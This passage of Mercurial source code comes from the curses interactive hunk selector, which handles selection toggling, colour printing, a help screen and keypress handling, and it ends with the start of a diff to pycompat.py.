             siblingappliedstatus = [hnk.applied for hnk in item.header.hunks]
             allsiblingsapplied = not (False in siblingappliedstatus)
             nosiblingsapplied = not (True in siblingappliedstatus)
 
             siblingspartialstatus = [hnk.partial for hnk in item.header.hunks]
             somesiblingspartial = True in siblingspartialstatus
 
             # cases where applied or partial should be removed from header
 
             # if no 'sibling' hunks are applied (including this hunk)
             if nosiblingsapplied:
                 if not item.header.special():
                     item.header.applied = False
                     item.header.partial = False
             else:  # some/all parent siblings are applied
                 item.header.applied = True
                 item.header.partial = (
                     somesiblingspartial or not allsiblingsapplied
                 )
 
         elif isinstance(item, uihunkline):
             siblingappliedstatus = [ln.applied for ln in item.hunk.changedlines]
             allsiblingsapplied = not (False in siblingappliedstatus)
             nosiblingsapplied = not (True in siblingappliedstatus)
 
             # if no 'sibling' lines are applied
             if nosiblingsapplied:
                 item.hunk.applied = False
                 item.hunk.partial = False
             elif allsiblingsapplied:
                 item.hunk.applied = True
                 item.hunk.partial = False
             else:  # some siblings applied
                 item.hunk.applied = True
                 item.hunk.partial = True
 
             parentsiblingsapplied = [
                 hnk.applied for hnk in item.hunk.header.hunks
             ]
             noparentsiblingsapplied = not (True in parentsiblingsapplied)
             allparentsiblingsapplied = not (False in parentsiblingsapplied)
 
             parentsiblingspartial = [
                 hnk.partial for hnk in item.hunk.header.hunks
             ]
             someparentsiblingspartial = True in parentsiblingspartial
 
             # if all parent hunks are not applied, un-apply header
             if noparentsiblingsapplied:
                 if not item.hunk.header.special():
                     item.hunk.header.applied = False
                     item.hunk.header.partial = False
             # set the applied and partial status of the header if needed
             else:  # some/all parent siblings are applied
                 item.hunk.header.applied = True
                 item.hunk.header.partial = (
                     someparentsiblingspartial or not allparentsiblingsapplied
                 )
 
     def toggleall(self):
         """toggle the applied flag of all items."""
         if self.waslasttoggleallapplied:  # then unapply them this time
             for item in self.headerlist:
                 if item.applied:
                     self.toggleapply(item)
         else:
             for item in self.headerlist:
                 if not item.applied:
                     self.toggleapply(item)
         self.waslasttoggleallapplied = not self.waslasttoggleallapplied
 
     def flipselections(self):
         """
         Flip all selections. Every selected line is unselected and vice
         versa.
         """
         for header in self.headerlist:
             for hunk in header.allchildren():
                 for line in hunk.allchildren():
                     self.toggleapply(line)
 
     def toggleallbetween(self):
         """toggle applied on or off for all items in range [lastapplied,
         current]. """
         if (
             not self.lastapplieditem
             or self.currentselecteditem == self.lastapplieditem
         ):
             # Treat this like a normal 'x'/' '
             self.toggleapply()
             return
 
         startitem = self.lastapplieditem
         enditem = self.currentselecteditem
         # Verify that enditem is "after" startitem, otherwise swap them.
         for direction in [b'forward', b'reverse']:
             nextitem = startitem.nextitem()
             while nextitem and nextitem != enditem:
                 nextitem = nextitem.nextitem()
             if nextitem:
                 break
             # Looks like we went the wrong direction :)
             startitem, enditem = enditem, startitem
 
         if not nextitem:
             # We didn't find a path going either forward or backward? Don't know
             # how this can happen, let's not crash though.
             return
 
         nextitem = startitem
         # Switch all items to be the opposite state of the currently selected
         # item. Specifically:
         #  [ ] startitem
         #  [x] middleitem
         #  [ ] enditem  <-- currently selected
         # This will turn all three on, since the currently selected item is off.
         # This does *not* invert each item (i.e. middleitem stays marked/on)
         desiredstate = not self.currentselecteditem.applied
         while nextitem != enditem.nextitem():
             if nextitem.applied != desiredstate:
                 self.toggleapply(item=nextitem)
             nextitem = nextitem.nextitem()
 
     def togglefolded(self, item=None, foldparent=False):
         """toggle folded flag of specified item (defaults to currently
         selected)"""
         if item is None:
             item = self.currentselecteditem
         if foldparent or (isinstance(item, uiheader) and item.neverunfolded):
             if not isinstance(item, uiheader):
                 # we need to select the parent item in this case
                 self.currentselecteditem = item = item.parentitem()
             elif item.neverunfolded:
                 item.neverunfolded = False
 
             # also fold any foldable children of the parent/current item
             if isinstance(item, uiheader):  # the original or 'new' item
                 for child in item.allchildren():
                     child.folded = not item.folded
 
         if isinstance(item, (uiheader, uihunk)):
             item.folded = not item.folded
 
     def alignstring(self, instr, window):
         """
         add whitespace to the end of a string in order to make it fill
         the screen in the x direction.  the current cursor position is
         taken into account when making this calculation.  the string can span
         multiple lines.
         """
         y, xstart = window.getyx()
         width = self.xscreensize
         # turn tabs into spaces
         instr = instr.expandtabs(4)
         strwidth = encoding.colwidth(instr)
         numspaces = width - ((strwidth + xstart) % width)
         return instr + b" " * numspaces
 
     def printstring(
         self,
         window,
         text,
         fgcolor=None,
         bgcolor=None,
         pair=None,
         pairname=None,
         attrlist=None,
         towin=True,
         align=True,
         showwhtspc=False,
     ):
         """
         print the string, text, with the specified colors and attributes, to
         the specified curses window object.
 
         the foreground and background colors are of the form
         curses.color_xxxx, where xxxx is one of: [black, blue, cyan, green,
         magenta, red, white, yellow].  if pairname is provided, a color
         pair will be looked up in the self.colorpairnames dictionary.
 
         attrlist is a list containing text attributes in the form of
         curses.a_xxxx, where xxxx can be: [bold, dim, normal, standout,
         underline].
 
         if align == True, whitespace is added to the printed string such that
         the string stretches to the right border of the window.
 
         if showwhtspc == True, trailing whitespace of a string is highlighted.
         """
         # preprocess the text, converting tabs to spaces
         text = text.expandtabs(4)
         # strip \n, and convert control characters to ^[char] representation
         text = re.sub(
             br'[\x00-\x08\x0a-\x1f]',
             lambda m: b'^' + pycompat.sysbytes(chr(ord(m.group()) + 64)),
             text.strip(b'\n'),
         )
 
         if pair is not None:
             colorpair = pair
         elif pairname is not None:
             colorpair = self.colorpairnames[pairname]
         else:
             if fgcolor is None:
                 fgcolor = -1
             if bgcolor is None:
                 bgcolor = -1
             if (fgcolor, bgcolor) in self.colorpairs:
                 colorpair = self.colorpairs[(fgcolor, bgcolor)]
             else:
                 colorpair = self.getcolorpair(fgcolor, bgcolor)
         # add attributes if possible
         if attrlist is None:
             attrlist = []
         if colorpair < 256:
             # then it is safe to apply all attributes
             for textattr in attrlist:
                 colorpair |= textattr
         else:
             # just apply a select few (safe?) attributes
             for textattr in (curses.A_UNDERLINE, curses.A_BOLD):
                 if textattr in attrlist:
                     colorpair |= textattr
 
         y, xstart = self.chunkpad.getyx()
         t = b""  # variable for counting lines printed
         # if requested, show trailing whitespace
         if showwhtspc:
             origlen = len(text)
             text = text.rstrip(b' \n')  # tabs have already been expanded
             strippedlen = len(text)
             numtrailingspaces = origlen - strippedlen
 
         if towin:
             window.addstr(text, colorpair)
         t += text
 
         if showwhtspc:
             wscolorpair = colorpair | curses.A_REVERSE
             if towin:
                 for i in range(numtrailingspaces):
                     window.addch(curses.ACS_CKBOARD, wscolorpair)
             t += b" " * numtrailingspaces
 
         if align:
             if towin:
                 extrawhitespace = self.alignstring(b"", window)
                 window.addstr(extrawhitespace, colorpair)
             else:
                 # need to use t, since the x position hasn't incremented
                 extrawhitespace = self.alignstring(t, window)
             t += extrawhitespace
 
         # is reset to 0 at the beginning of printitem()
 
         linesprinted = (xstart + len(t)) // self.xscreensize
         self.linesprintedtopadsofar += linesprinted
         return t
 
     def _getstatuslinesegments(self):
         """-> [str]. return segments"""
         selected = self.currentselecteditem.applied
         spaceselect = _(b'space/enter: select')
         spacedeselect = _(b'space/enter: deselect')
         # Format the selected label into a place as long as the longer of the
         # two possible labels.  This may vary by language.
         spacelen = max(len(spaceselect), len(spacedeselect))
         selectedlabel = b'%-*s' % (
             spacelen,
             spacedeselect if selected else spaceselect,
         )
         segments = [
             _headermessages[self.operation],
             b'-',
             _(b'[x]=selected **=collapsed'),
             _(b'c: confirm'),
             _(b'q: abort'),
             _(b'arrow keys: move/expand/collapse'),
             selectedlabel,
             _(b'?: help'),
         ]
         return segments
 
     def _getstatuslines(self):
         """() -> [str]. return short help used in the top status window"""
         if self.errorstr is not None:
             lines = [self.errorstr, _(b'Press any key to continue')]
         else:
             # wrap segments to lines
             segments = self._getstatuslinesegments()
             width = self.xscreensize
             lines = []
             lastwidth = width
             for s in segments:
                 w = encoding.colwidth(s)
                 sep = b' ' * (1 + (s and s[0] not in b'-['))
                 if lastwidth + w + len(sep) >= width:
                     lines.append(s)
                     lastwidth = w
                 else:
                     lines[-1] += sep + s
                     lastwidth += w + len(sep)
         if len(lines) != self.numstatuslines:
             self.numstatuslines = len(lines)
             self.statuswin.resize(self.numstatuslines, self.xscreensize)
         return [stringutil.ellipsis(l, self.xscreensize - 1) for l in lines]
 
     def updatescreen(self):
         self.statuswin.erase()
         self.chunkpad.erase()
 
         printstring = self.printstring
 
         # print out the status lines at the top
         try:
             for line in self._getstatuslines():
                 printstring(self.statuswin, line, pairname=b"legend")
             self.statuswin.refresh()
         except curses.error:
             pass
         if self.errorstr is not None:
             return
 
         # print out the patch in the remaining part of the window
         try:
             self.printitem()
             self.updatescroll()
             self.chunkpad.refresh(
                 self.firstlineofpadtoprint,
                 0,
                 self.numstatuslines,
                 0,
                 self.yscreensize - self.numstatuslines,
                 self.xscreensize,
             )
         except curses.error:
             pass
 
     def getstatusprefixstring(self, item):
         """
         create a string to prefix a line with which indicates whether 'item'
         is applied and/or folded.
         """
 
         # create checkbox string
         if item.applied:
             if not isinstance(item, uihunkline) and item.partial:
                 checkbox = b"[~]"
             else:
                 checkbox = b"[x]"
         else:
             checkbox = b"[ ]"
 
         try:
             if item.folded:
                 checkbox += b"**"
                 if isinstance(item, uiheader):
                     # one of "m", "a", or "d" (modified, added, deleted)
                     filestatus = item.changetype
 
                     checkbox += filestatus + b" "
             else:
                 checkbox += b"  "
                 if isinstance(item, uiheader):
                     # add two more spaces for headers
                     checkbox += b"  "
         except AttributeError:  # not foldable
             checkbox += b"  "
 
         return checkbox
 
     def printheader(
         self, header, selected=False, towin=True, ignorefolding=False
     ):
         """
         print the header to the pad.  if countlines is True, don't print
         anything, but just count the number of lines which would be printed.
         """
 
         outstr = b""
         text = header.prettystr()
         chunkindex = self.chunklist.index(header)
 
         if chunkindex != 0 and not header.folded:
             # add separating line before headers
             outstr += self.printstring(
                 self.chunkpad, b'_' * self.xscreensize, towin=towin, align=False
             )
         # select color-pair based on if the header is selected
         colorpair = self.getcolorpair(
             name=selected and b"selected" or b"normal", attrlist=[curses.A_BOLD]
         )
 
         # print out each line of the chunk, expanding it to screen width
 
         # number of characters to indent lines on this level by
         indentnumchars = 0
         checkbox = self.getstatusprefixstring(header)
         if not header.folded or ignorefolding:
             textlist = text.split(b"\n")
             linestr = checkbox + textlist[0]
         else:
             linestr = checkbox + header.filename()
         outstr += self.printstring(
             self.chunkpad, linestr, pair=colorpair, towin=towin
         )
         if not header.folded or ignorefolding:
             if len(textlist) > 1:
                 for line in textlist[1:]:
                     linestr = b" " * (indentnumchars + len(checkbox)) + line
                     outstr += self.printstring(
                         self.chunkpad, linestr, pair=colorpair, towin=towin
                     )
 
         return outstr
 
     def printhunklinesbefore(
         self, hunk, selected=False, towin=True, ignorefolding=False
     ):
         """includes start/end line indicator"""
         outstr = b""
         # where hunk is in list of siblings
         hunkindex = hunk.header.hunks.index(hunk)
 
         if hunkindex != 0:
             # add separating line before headers
             outstr += self.printstring(
                 self.chunkpad, b' ' * self.xscreensize, towin=towin, align=False
             )
 
         colorpair = self.getcolorpair(
             name=selected and b"selected" or b"normal", attrlist=[curses.A_BOLD]
         )
 
         # print out from-to line with checkbox
         checkbox = self.getstatusprefixstring(hunk)
 
         lineprefix = b" " * self.hunkindentnumchars + checkbox
         frtoline = b"   " + hunk.getfromtoline().strip(b"\n")
 
         outstr += self.printstring(
             self.chunkpad, lineprefix, towin=towin, align=False
         )  # add uncolored checkbox/indent
         outstr += self.printstring(
             self.chunkpad, frtoline, pair=colorpair, towin=towin
         )
 
         if hunk.folded and not ignorefolding:
             # skip remainder of output
             return outstr
 
         # print out lines of the chunk preceeding changed-lines
         for line in hunk.before:
             linestr = (
                 b" " * (self.hunklineindentnumchars + len(checkbox)) + line
             )
             outstr += self.printstring(self.chunkpad, linestr, towin=towin)
 
         return outstr
 
     def printhunklinesafter(self, hunk, towin=True, ignorefolding=False):
         outstr = b""
         if hunk.folded and not ignorefolding:
             return outstr
 
         # a bit superfluous, but to avoid hard-coding indent amount
         checkbox = self.getstatusprefixstring(hunk)
         for line in hunk.after:
             linestr = (
                 b" " * (self.hunklineindentnumchars + len(checkbox)) + line
             )
             outstr += self.printstring(self.chunkpad, linestr, towin=towin)
 
         return outstr
 
     def printhunkchangedline(self, hunkline, selected=False, towin=True):
         outstr = b""
         checkbox = self.getstatusprefixstring(hunkline)
 
         linestr = hunkline.prettystr().strip(b"\n")
 
         # select color-pair based on whether line is an addition/removal
         if selected:
             colorpair = self.getcolorpair(name=b"selected")
         elif linestr.startswith(b"+"):
             colorpair = self.getcolorpair(name=b"addition")
         elif linestr.startswith(b"-"):
             colorpair = self.getcolorpair(name=b"deletion")
         elif linestr.startswith(b"\\"):
             colorpair = self.getcolorpair(name=b"normal")
 
         lineprefix = b" " * self.hunklineindentnumchars + checkbox
         outstr += self.printstring(
             self.chunkpad, lineprefix, towin=towin, align=False
         )  # add uncolored checkbox/indent
         outstr += self.printstring(
             self.chunkpad, linestr, pair=colorpair, towin=towin, showwhtspc=True
         )
         return outstr
 
     def printitem(
         self, item=None, ignorefolding=False, recursechildren=True, towin=True
     ):
         """
         use __printitem() to print the the specified item.applied.
         if item is not specified, then print the entire patch.
         (hiding folded elements, etc. -- see __printitem() docstring)
         """
 
         if item is None:
             item = self.headerlist
         if recursechildren:
             self.linesprintedtopadsofar = 0
 
         outstr = []
         self.__printitem(
             item, ignorefolding, recursechildren, outstr, towin=towin
         )
         return b''.join(outstr)
 
     def outofdisplayedarea(self):
         y, _ = self.chunkpad.getyx()  # cursor location
         # * 2 here works but an optimization would be the max number of
         # consecutive non selectable lines
         # i.e the max number of context line for any hunk in the patch
         miny = min(0, self.firstlineofpadtoprint - self.yscreensize)
         maxy = self.firstlineofpadtoprint + self.yscreensize * 2
         return y < miny or y > maxy
 
     def handleselection(self, item, recursechildren):
         selected = item is self.currentselecteditem
         if selected and recursechildren:
             # assumes line numbering starting from line 0
             self.selecteditemstartline = self.linesprintedtopadsofar
             selecteditemlines = self.getnumlinesdisplayed(
                 item, recursechildren=False
             )
             self.selecteditemendline = (
                 self.selecteditemstartline + selecteditemlines - 1
             )
         return selected
 
     def __printitem(
         self, item, ignorefolding, recursechildren, outstr, towin=True
     ):
         """
         recursive method for printing out patch/header/hunk/hunk-line data to
         screen.  also returns a string with all of the content of the displayed
         patch (not including coloring, etc.).
 
         if ignorefolding is True, then folded items are printed out.
 
         if recursechildren is False, then only print the item without its
         child items.
         """
 
         if towin and self.outofdisplayedarea():
             return
 
         selected = self.handleselection(item, recursechildren)
 
         # patch object is a list of headers
         if isinstance(item, patch):
             if recursechildren:
                 for hdr in item:
                     self.__printitem(
                         hdr, ignorefolding, recursechildren, outstr, towin
                     )
         # todo: eliminate all isinstance() calls
         if isinstance(item, uiheader):
             outstr.append(
                 self.printheader(
                     item, selected, towin=towin, ignorefolding=ignorefolding
                 )
             )
             if recursechildren:
                 for hnk in item.hunks:
                     self.__printitem(
                         hnk, ignorefolding, recursechildren, outstr, towin
                     )
         elif isinstance(item, uihunk) and (
             (not item.header.folded) or ignorefolding
         ):
             # print the hunk data which comes before the changed-lines
             outstr.append(
                 self.printhunklinesbefore(
                     item, selected, towin=towin, ignorefolding=ignorefolding
                 )
             )
             if recursechildren:
                 for l in item.changedlines:
                     self.__printitem(
                         l, ignorefolding, recursechildren, outstr, towin
                     )
                 outstr.append(
                     self.printhunklinesafter(
                         item, towin=towin, ignorefolding=ignorefolding
                     )
                 )
         elif isinstance(item, uihunkline) and (
             (not item.hunk.folded) or ignorefolding
         ):
             outstr.append(
                 self.printhunkchangedline(item, selected, towin=towin)
             )
 
         return outstr
 
     def getnumlinesdisplayed(
         self, item=None, ignorefolding=False, recursechildren=True
     ):
         """
         return the number of lines which would be displayed if the item were
         to be printed to the display.  the item will not be printed to the
         display (pad).
         if no item is given, assume the entire patch.
         if ignorefolding is True, folded items will be unfolded when counting
         the number of lines.
         """
 
         # temporarily disable printing to windows by printstring
         patchdisplaystring = self.printitem(
             item, ignorefolding, recursechildren, towin=False
         )
         numlines = len(patchdisplaystring) // self.xscreensize
         return numlines
 
     def sigwinchhandler(self, n, frame):
         """handle window resizing"""
         try:
             curses.endwin()
             self.xscreensize, self.yscreensize = scmutil.termsize(self.ui)
             self.statuswin.resize(self.numstatuslines, self.xscreensize)
             self.numpadlines = self.getnumlinesdisplayed(ignorefolding=True) + 1
             self.chunkpad = curses.newpad(self.numpadlines, self.xscreensize)
         except curses.error:
             pass
 
     def getcolorpair(
         self, fgcolor=None, bgcolor=None, name=None, attrlist=None
     ):
         """
         get a curses color pair, adding it to self.colorpairs if it is not
         already defined.  an optional string, name, can be passed as a shortcut
         for referring to the color-pair.  by default, if no arguments are
         specified, the white foreground / black background color-pair is
         returned.
 
         it is expected that this function will be used exclusively for
         initializing color pairs, and not curses.init_pair().
 
         attrlist is used to 'flavor' the returned color-pair.  this information
         is not stored in self.colorpairs.  it contains attribute values like
         curses.A_BOLD.
         """
 
         if (name is not None) and name in self.colorpairnames:
             # then get the associated color pair and return it
             colorpair = self.colorpairnames[name]
         else:
             if fgcolor is None:
                 fgcolor = -1
             if bgcolor is None:
                 bgcolor = -1
             if (fgcolor, bgcolor) in self.colorpairs:
                 colorpair = self.colorpairs[(fgcolor, bgcolor)]
             else:
                 pairindex = len(self.colorpairs) + 1
                 if self.usecolor:
                     curses.init_pair(pairindex, fgcolor, bgcolor)
                     colorpair = self.colorpairs[
                         (fgcolor, bgcolor)
                     ] = curses.color_pair(pairindex)
                     if name is not None:
                         self.colorpairnames[name] = curses.color_pair(pairindex)
                 else:
                     cval = 0
                     if name is not None:
                         if name == b'selected':
                             cval = curses.A_REVERSE
                         self.colorpairnames[name] = cval
                     colorpair = self.colorpairs[(fgcolor, bgcolor)] = cval
 
         # add attributes if possible
         if attrlist is None:
             attrlist = []
         if colorpair < 256:
             # then it is safe to apply all attributes
             for textattr in attrlist:
                 colorpair |= textattr
         else:
             # just apply a select few (safe?) attributes
             for textattrib in (curses.A_UNDERLINE, curses.A_BOLD):
                 if textattrib in attrlist:
                     colorpair |= textattrib
         return colorpair
 
     def initcolorpair(self, *args, **kwargs):
         """same as getcolorpair."""
         self.getcolorpair(*args, **kwargs)
 
     def helpwindow(self):
         """print a help window to the screen.  exit after any keypress."""
         helptext = _(
             """            [press any key to return to the patch-display]
 
 The curses hunk selector allows you to interactively choose among the
 changes you have made, and confirm only those changes you select for
 further processing by the command you are running (such as commit,
 shelve, or revert). After confirming the selected changes, the
 unselected changes are still present in your working copy, so you can
 use the hunk selector multiple times to split large changes into
 smaller changesets. the following are valid keystrokes:
 
               x [space] : (un-)select item ([~]/[x] = partly/fully applied)
                 [enter] : (un-)select item and go to next item of same type
                       A : (un-)select all items
                       X : (un-)select all items between current and most-recent
     up/down-arrow [k/j] : go to previous/next unfolded item
         pgup/pgdn [K/J] : go to previous/next item of same type
  right/left-arrow [l/h] : go to child item / parent item
  shift-left-arrow   [H] : go to parent header / fold selected header
                       g : go to the top
                       G : go to the bottom
                       f : fold / unfold item, hiding/revealing its children
                       F : fold / unfold parent item and all of its ancestors
                  ctrl-l : scroll the selected line to the top of the screen
                       m : edit / resume editing the commit message
                       e : edit the currently selected hunk
                       a : toggle all selections
                       c : confirm selected changes
                       r : review/edit and confirm selected changes
                       q : quit without confirming (no changes will be made)
                       ? : help (what you're currently reading)"""
         )
 
         helpwin = curses.newwin(self.yscreensize, 0, 0, 0)
         helplines = helptext.split(b"\n")
         helplines = helplines + [b" "] * (
             self.yscreensize - self.numstatuslines - len(helplines) - 1
         )
         try:
             for line in helplines:
                 self.printstring(helpwin, line, pairname=b"legend")
         except curses.error:
             pass
         helpwin.refresh()
         try:
             with self.ui.timeblockedsection(b'crecord'):
                 helpwin.getkey()
         except curses.error:
             pass
 
     def commitMessageWindow(self):
         """Create a temporary commit message editing window on the screen."""
 
         curses.raw()
         curses.def_prog_mode()
         curses.endwin()
         self.commenttext = self.ui.edit(self.commenttext, self.ui.username())
         curses.cbreak()
         self.stdscr.refresh()
         self.stdscr.keypad(1)  # allow arrow-keys to continue to function
 
     def handlefirstlineevent(self):
         """
         Handle 'g' to navigate to the top most file in the ncurses window.
         """
         self.currentselecteditem = self.headerlist[0]
         currentitem = self.currentselecteditem
         # select the parent item recursively until we're at a header
         while True:
             nextitem = currentitem.parentitem()
             if nextitem is None:
                 break
             else:
                 currentitem = nextitem
 
         self.currentselecteditem = currentitem
 
     def handlelastlineevent(self):
         """
         Handle 'G' to navigate to the bottom most file/hunk/line depending
         on the whether the fold is active or not.
 
         If the bottom most file is folded, it navigates to that file and
         stops there. If the bottom most file is unfolded, it navigates to
         the bottom most hunk in that file and stops there. If the bottom most
         hunk is unfolded, it navigates to the bottom most line in that hunk.
         """
         currentitem = self.currentselecteditem
         nextitem = currentitem.nextitem()
         # select the child item recursively until we're at a footer
         while nextitem is not None:
             nextitem = currentitem.nextitem()
             if nextitem is None:
                 break
             else:
                 currentitem = nextitem
 
         self.currentselecteditem = currentitem
         self.recenterdisplayedarea()
 
     def confirmationwindow(self, windowtext):
         """display an informational window, then wait for and return a
         keypress."""
 
         confirmwin = curses.newwin(self.yscreensize, 0, 0, 0)
         try:
             lines = windowtext.split(b"\n")
             for line in lines:
                 self.printstring(confirmwin, line, pairname=b"selected")
         except curses.error:
             pass
         self.stdscr.refresh()
         confirmwin.refresh()
         try:
             with self.ui.timeblockedsection(b'crecord'):
                 response = chr(self.stdscr.getch())
         except ValueError:
             response = None
 
         return response
 
     def reviewcommit(self):
         """ask for 'y' to be pressed to confirm selected. return True if
         confirmed."""
         confirmtext = _(
             """If you answer yes to the following, your currently chosen patch chunks
 will be loaded into an editor. To modify the patch, make the changes in your
 editor and save. To accept the current patch as-is, close the editor without
 saving.
 
 note: don't add/remove lines unless you also modify the range information.
       failing to follow this rule will result in the commit aborting.
 
 are you sure you want to review/edit and confirm the selected changes [yn]?
 """
         )
         with self.ui.timeblockedsection(b'crecord'):
             response = self.confirmationwindow(confirmtext)
         if response is None:
             response = "n"
         if response.lower().startswith("y"):
             return True
         else:
             return False
 
     def recenterdisplayedarea(self):
         """
         once we scrolled with pg up pg down we can be pointing outside of the
         display zone. we print the patch with towin=False to compute the
         location of the selected item even though it is outside of the displayed
         zone and then update the scroll.
         """
         self.printitem(towin=False)
         self.updatescroll()
 
     def toggleedit(self, item=None, test=False):
         """
         edit the currently selected chunk
         """
 
         def updateui(self):
             self.numpadlines = self.getnumlinesdisplayed(ignorefolding=True) + 1
             self.chunkpad = curses.newpad(self.numpadlines, self.xscreensize)
             self.updatescroll()
             self.stdscr.refresh()
             self.statuswin.refresh()
             self.stdscr.keypad(1)
 
         def editpatchwitheditor(self, chunk):
             if chunk is None:
                 self.ui.write(_(b'cannot edit patch for whole file'))
                 self.ui.write(b"\n")
                 return None
             if chunk.header.binary():
                 self.ui.write(_(b'cannot edit patch for binary file'))
                 self.ui.write(b"\n")
                 return None
 
             # write the initial patch
             patch = stringio()
             patch.write(diffhelptext + hunkhelptext)
             chunk.header.write(patch)
             chunk.write(patch)
 
             # start the editor and wait for it to complete
             try:
                 patch = self.ui.edit(patch.getvalue(), b"", action=b"diff")
             except error.Abort as exc:
                 self.errorstr = stringutil.forcebytestr(exc)
                 return None
             finally:
                 self.stdscr.clear()
                 self.stdscr.refresh()
 
             # remove comment lines
             patch = [
                 line + b'\n'
                 for line in patch.splitlines()
                 if not line.startswith(b'#')
             ]
             return patchmod.parsepatch(patch)
 
         if item is None:
             item = self.currentselecteditem
         if isinstance(item, uiheader):
             return
         if isinstance(item, uihunkline):
             item = item.parentitem()
         if not isinstance(item, uihunk):
             return
 
         # To go back to that hunk or its replacement at the end of the edit
         itemindex = item.parentitem().hunks.index(item)
 
         beforeadded, beforeremoved = item.added, item.removed
         newpatches = editpatchwitheditor(self, item)
         if newpatches is None:
             if not test:
                 updateui(self)
             return
         header = item.header
         editedhunkindex = header.hunks.index(item)
         hunksbefore = header.hunks[:editedhunkindex]
         hunksafter = header.hunks[editedhunkindex + 1 :]
         newpatchheader = newpatches[0]
         newhunks = [uihunk(h, header) for h in newpatchheader.hunks]
         newadded = sum([h.added for h in newhunks])
         newremoved = sum([h.removed for h in newhunks])
         offset = (newadded - beforeadded) - (newremoved - beforeremoved)
 
         for h in hunksafter:
             h.toline += offset
         for h in newhunks:
             h.folded = False
         header.hunks = hunksbefore + newhunks + hunksafter
         if self.emptypatch():
             header.hunks = hunksbefore + [item] + hunksafter
         self.currentselecteditem = header
         if len(header.hunks) > itemindex:
             self.currentselecteditem = header.hunks[itemindex]
 
         if not test:
             updateui(self)
 
     def emptypatch(self):
         item = self.headerlist
         if not item:
             return True
         for header in item:
             if header.hunks:
                 return False
         return True
 
     def handlekeypressed(self, keypressed, test=False):
         """
         Perform actions based on pressed keys.
 
         Return true to exit the main loop.
         """
         if keypressed in ["k", "KEY_UP"]:
             self.uparrowevent()
         elif keypressed in ["K", "KEY_PPAGE"]:
             self.uparrowshiftevent()
         elif keypressed in ["j", "KEY_DOWN"]:
             self.downarrowevent()
         elif keypressed in ["J", "KEY_NPAGE"]:
             self.downarrowshiftevent()
         elif keypressed in ["l", "KEY_RIGHT"]:
             self.rightarrowevent()
         elif keypressed in ["h", "KEY_LEFT"]:
             self.leftarrowevent()
         elif keypressed in ["H", "KEY_SLEFT"]:
             self.leftarrowshiftevent()
         elif keypressed in ["q"]:
             raise error.Abort(_(b'user quit'))
         elif keypressed in ['a']:
             self.flipselections()
         elif keypressed in ["c"]:
             return True
         elif keypressed in ["r"]:
             if self.reviewcommit():
                 self.opts[b'review'] = True
                 return True
         elif test and keypressed in ["R"]:
             self.opts[b'review'] = True
             return True
         elif keypressed in [" ", "x"]:
             self.toggleapply()
         elif keypressed in ["\n", "KEY_ENTER"]:
             self.toggleapply()
             self.nextsametype(test=test)
         elif keypressed in ["X"]:
             self.toggleallbetween()
         elif keypressed in ["A"]:
             self.toggleall()
         elif keypressed in ["e"]:
             self.toggleedit(test=test)
         elif keypressed in ["f"]:
             self.togglefolded()
         elif keypressed in ["F"]:
             self.togglefolded(foldparent=True)
         elif keypressed in ["m"]:
             self.commitMessageWindow()
         elif keypressed in ["g", "KEY_HOME"]:
             self.handlefirstlineevent()
         elif keypressed in ["G", "KEY_END"]:
             self.handlelastlineevent()
         elif keypressed in ["?"]:
             self.helpwindow()
             self.stdscr.clear()
             self.stdscr.refresh()
         elif keypressed in [curses.ascii.ctrl("L")]:
             # scroll the current line to the top of the screen, and redraw
             # everything
             self.scrolllines(self.selecteditemstartline)
             self.stdscr.clear()
             self.stdscr.refresh()
 
     def main(self, stdscr):
         """
         method to be wrapped by curses.wrapper() for selecting chunks.
         """
 
         origsigwinch = sentinel = object()
         if util.safehasattr(signal, b'SIGWINCH'):
             origsigwinch = signal.signal(signal.SIGWINCH, self.sigwinchhandler)
         try:
             return self._main(stdscr)
         finally:
             if origsigwinch is not sentinel:
                 signal.signal(signal.SIGWINCH, origsigwinch)
 
     def _main(self, stdscr):
         self.stdscr = stdscr
         # error during initialization, cannot be printed in the curses
         # interface, it should be printed by the calling code
         self.initexc = None
         self.yscreensize, self.xscreensize = self.stdscr.getmaxyx()
 
         curses.start_color()
         try:
             curses.use_default_colors()
         except curses.error:
             self.usecolor = False
 
         # In some situations we may have some cruft left on the "alternate
         # screen" from another program (or previous iterations of ourself), and
         # we won't clear it if the scroll region is small enough to comfortably
         # fit on the terminal.
         self.stdscr.clear()
 
         # don't display the cursor
         try:
             curses.curs_set(0)
         except curses.error:
             pass
 
         # available colors: black, blue, cyan, green, magenta, white, yellow
         # init_pair(color_id, foreground_color, background_color)
         self.initcolorpair(None, None, name=b"normal")
         self.initcolorpair(
             curses.COLOR_WHITE, curses.COLOR_MAGENTA, name=b"selected"
         )
         self.initcolorpair(curses.COLOR_RED, None, name=b"deletion")
         self.initcolorpair(curses.COLOR_GREEN, None, name=b"addition")
         self.initcolorpair(
             curses.COLOR_WHITE, curses.COLOR_BLUE, name=b"legend"
         )
         # newwin([height, width,] begin_y, begin_x)
         self.statuswin = curses.newwin(self.numstatuslines, 0, 0, 0)
         self.statuswin.keypad(1)  # interpret arrow-key, etc. esc sequences
 
         # figure out how much space to allocate for the chunk-pad which is
         # used for displaying the patch
 
         # stupid hack to prevent getnumlinesdisplayed from failing
         self.chunkpad = curses.newpad(1, self.xscreensize)
 
         # add 1 so to account for last line text reaching end of line
         self.numpadlines = self.getnumlinesdisplayed(ignorefolding=True) + 1
 
         try:
             self.chunkpad = curses.newpad(self.numpadlines, self.xscreensize)
         except curses.error:
             self.initexc = fallbackerror(
                 _(b'this diff is too large to be displayed')
             )
             return
         # initialize selecteditemendline (initial start-line is 0)
         self.selecteditemendline = self.getnumlinesdisplayed(
             self.currentselecteditem, recursechildren=False
         )
 
         while True:
             self.updatescreen()
             try:
                 with self.ui.timeblockedsection(b'crecord'):
                     keypressed = self.statuswin.getkey()
                 if self.errorstr is not None:
                     self.errorstr = None
                     continue
             except curses.error:
                 keypressed = b"foobar"
             if self.handlekeypressed(keypressed):
                 break
 
         if self.commenttext != b"":
             whitespaceremoved = re.sub(
                 br"(?m)^\s.*(\n|$)", b"", self.commenttext
             )
             if whitespaceremoved != b"":
                 self.opts[b'message'] = self.commenttext

mercurial/pycompat.py

@@ -1,552 +1,531 b''
 # pycompat.py - portability shim for python 3
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial portability shim for python 3.
 
 This contains aliases to hide python version-specific details from the core.
 """
 
 from __future__ import absolute_import
 
 import getopt
 import inspect
 import json
-import locale
 import os
 import shlex
 import sys
 import tempfile
 
 ispy3 = sys.version_info[0] >= 3
 ispypy = '__pypy__' in sys.builtin_module_names
